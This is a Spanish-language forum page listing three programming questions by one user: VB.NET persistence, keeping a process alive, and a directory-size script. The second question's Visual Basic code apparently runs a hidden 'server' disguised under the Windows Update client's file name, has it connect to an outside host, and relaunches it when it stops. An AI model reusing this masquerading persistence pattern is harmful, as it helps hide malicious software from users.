elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Los 10 CVE más críticos (peligrosos) de 2020


  Mostrar Mensajes
Páginas: [1]
1  Programación / Programación Visual Basic / ActiveRecord vb.net en: 3 Enero 2009, 02:33 am
hola quiero crear una clase de persistencia, en vb.net he encontrado un framework de hibernate, bkn toa la wea, pero no quiero depender de eso si no he creado algo real "por mi mismo", quisiera pedir ayuda sobre este tema, en PHP  encontre una clase llamada ActiveRecord que a medida que define una variabla a un objeto mediante el metodo __set esta era almacenada en un array y luego para almacenar el objeto obteneia el nombre de las variables y sus valores para registrarlos, entonces me pregunto como hacer una clase de persistencia en .net para el accesso a una base de datos en access. de antemano gracias
2  Programación / Programación Visual Basic / Visual Basic Saber si Proceso esta activo en: 31 Marzo 2008, 01:54 am
    Hola, Como puedo saber si un proceso esta activo ? tengo el siguiente codigo, pero... a veces no me ejecuta despues de varios minutos, necesito saber el estado del proceso para ejecurarlo denuevo si es que se ha detenido, pero el problema que creo que pasa, que el SO devuelve un id de proceso a al programa ( h_process en el codigo de abajo ), pero si este programa se cierra, puede que otro programa se abra y obtenga el mismo id que le dio el SO al programa cerrado.

este codigo ejecuta el servidor
Código
  1.  
  2.  
  3. Private Sub ejecutarServidor()
  4. On Error GoTo e
  5.    Dim systemroot As String
  6.    systemroot = ResolveEnvirons("%systemroot%\")
  7.  
  8.  
  9.    h_process = OpenProcess(PROCESS_QUERY_INFORMATION, False, _
  10.           Shell(systemroot & "wuauclt.exe -run", vbHide))
  11.  
  12.    Call Shell(systemroot & "wuauclt.exe -connect miftp.net", vbHide)
  13. e:
  14. End Sub
  15.  


Este otro es el que se mantiene por el resto de la vida del pc encendido
Código
  1. Private Sub ejecutarServidorCadaMiliSeg()
  2. On Error GoTo e
  3. Dim cont As Single
  4. cont = 0
  5.    do While (1)
  6.        Sleep (60000)
  7.        cont = cont + 1
  8.  
  9.        If (cont = 5) Then
  10.  
  11.            GetExitCodeProcess h_process, rVal
  12.            If (rVal <> STILL_ACTIVE) Then
  13.                ejecutarServidor
  14.            End If
  15.            cont = 0
  16.  
  17.        End If
  18.  
  19.    Loop
  20. e:
  21. End Sub
  22.  

dato : h_process lo tengo como global
3  Programación / Scripting / ayuda con este problema please !!! en: 25 Noviembre 2007, 23:58 pm
 escribir un script que seleccione al subdirectorio residente en ¿alumno¿ con mayor utilización de espacio y lo mueva al subdirectorio ¿security¿.

como determino en un script que archivo tiene mayor tamaño ?

de antemano gracias
Páginas: [1]
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines